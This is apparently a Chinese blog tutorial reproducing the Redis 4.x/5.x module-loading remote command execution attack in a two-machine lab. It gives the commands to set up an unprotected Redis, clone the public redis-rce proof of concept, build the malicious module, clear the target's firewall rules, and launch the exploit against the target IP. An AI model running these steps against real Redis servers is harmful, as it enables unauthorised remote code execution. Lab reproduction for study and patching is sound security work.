redis命令执行复现
攻击机:centos mini 192.168.205.130
靶机:centos 192.168.205.128
影响范围:Redis4.x、5.x
0x01 安装redis包
wget download.redis.io/releases/redis-4.0.11.tar.gz

0x02 解压安装包
tar xzvf redis-4.0.11.tar.gz
目录下会新生成一个文件夹
yicunyiye@yicunyiye:~/redis$ ls
redis-4.0.11 redis-4.0.11.tar.gz
0x03 make安装
进入文件夹,在usr/local/redis目录下安装redis:
make PREFIX=/usr/local/redis install
0x04 修改redis.conf
cp /home/yicunyiye/redis/redis-4.0.11/redis.conf /usr/local/redis
修改conf文件
注释掉
#bind 127.0.0.1
修改为no,允许ip访问
protected-mode no
redis以后台方式启动
daemonize yes
0x04 服务端启动
在bin目录下
root@yicunyiye:/usr/local/redis/bin# ./redis-server /usr/local/redis/redis.conf
7901:C 07 Sep 19:22:17.689 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
7901:C 07 Sep 19:22:17.689 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=7901, just started
7901:C 07 Sep 19:22:17.689 # Configuration loaded
0x05 启动客户端并连接测试
./redis-cli

0x06 下载poc
git clone https://github.com/Ridter/redis-rce.git
0x07 下载RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然后直接make
root@kali:~/redis-rce/RedisModules-ExecuteCommand# ls
RedisModules-ExecuteCommand
root@kali:~/redis-rce/RedisModules-ExecuteCommand# cd RedisModules-ExecuteCommand/
root@kali:~/redis-rce/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand# make
然后将/src下的modules.so文件复制到poc目录下
0x08 poc出现的一些问题
出现了
No route to host
解决办法:
关闭iptables
service iptables stop
或者清理规则
iptables -F
注:这里是在靶机上执行关闭防火墙
运行发现缺少six库
先安装pip
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
会在目录下生成一个get-pip.py
python get-pip.py
再安装
pip install six
运行poc
python redis-rce.py -r 192.168.205.128 -L 192.168.205.130 -f module.so
-r 目标ip -L本机ip

redis命令执行复现的更多相关文章
- Redis 命令执行过程(上)
今天我们来了解一下 Redis 命令执行的过程.在之前的文章中<当 Redis 发生高延迟时,到底发生了什么>我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深读者对 R ...
- Redis 命令执行过程(下)
在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命令执行的整体流程,然后细致分析了从 Redis 启动到建立 socket 连接,再到读取 socket 数据 ...
- Redis 命令执行全过程分析
今天我们来了解一下 Redis 命令执行的过程.我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深大家对 Redis 的了解. 如下图所示,一条命令执行完成并且返回数据一共涉及三部分 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- Apache Solr远程命令执行复现
环境 /vulhub/solr/CVE-2019-0193/ 创建一个集合 docker-compose exec solr bash bin/solr create_core -c test -d ...
- redis 命令的调用过程
参考文献: Redis 是如何处理命令的(客户端) 我是如何通过添加一条命令学习redis源码的 从零开始写redis客户端(deerlet-redis-client)之路--第一个纠结很久的问题,r ...
- fastcgi未授权访问及任意命令执行
1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...
- 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞
2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...
- redis如何执行redis命令
Redis 命令 Redis 命令用于在 redis 服务上执行操作.所以我们必须要启动Redis服务程序,也就是redis安装目录下的redis-server.exe,你可以双击执行,也可以打开cm ...
随机推荐
- Mockito鸡尾酒第一杯 单测Mock
鸡尾酒 Mockito是Java的单元测试Mock框架. 它的logo是一杯古巴最著名的鸡尾酒Mojito, Mojito鸡尾酒,源自古巴的哈瓦那,带有浓厚的加勒比海风情. 并不浓烈,但是喝一杯下去, ...
- Logistic回归之有序logistic回归分析
Logistic回归分析(logit回归)一般可分为3类,分别是二元logistic回归分析.多分类Logistic回归分析和有序Logistic回归分析.logistic回归分析类型如下所示. Lo ...
- 牛客网PAT练习场-有几个PAT
题目地址:https://www.nowcoder.com/pat/6/problem/4066 题意:求pat->求pa->求p /** * *作者:YCute *时间:2019-12- ...
- 使用VS开发的一个开机自启动启动、可接收指定数据关闭电脑或打开其他程序
使用VS开发的一个开机自启动启动.可接收指定数据关闭电脑或打开其他程序需要注意的几点 为了能够在其他电脑上运行自己写的程序,需要在VS改一下编译的运行库.(项目->属性->配置属性-> ...
- 焦大:做seo需要的三心二意
http://www.wocaoseo.com/thread-92-1-1.html 读过一些外国人写的教程之后,愈发觉得国外人写的教程甚是有趣,比起国内学习的课本来,真是不可同日而语. ...
- Htmlcss学习笔记2——选择器与常用样式
CSS引入类型 行内样式 内联样式 外部样式表 CSS选择器 基本选择器 复合选择器 伪类选择器 属性选择器 CSS字体样式 font-size font-family font-style font ...
- Scrapy命令行调用传入自定义参数
在做爬虫服务化时,有这样一个需求:接口用命令行启动爬虫,但是数据入库时要记录此次任务的task_id. 简单说就是,Scrapy命令行启动时要动态传参进去. 解决方案: 在spider中定义一个构造函 ...
- React状态管理相关
关于React状态管理的一些想法 我最开始使用React的时候,那个时候版本还比较低(16版本以前),所以状态管理都是靠React自身API去进行管理,但当时最大的问题就是跨组件通信以及状态同步和状态 ...
- python给excel文件加密码,并重新生成文件
需安装pywin32 pip install pywin32 直接上源码.简单几行就搞定 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手. ...
- 【Android】在开发项目的时候,利用AndroidStudio开发工具,突然一直报错。
作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985, QQ986945193 公众号:程序员小冰 首先说明,虽然报错,但是并不影响开发使用.但是感觉很不爽 ...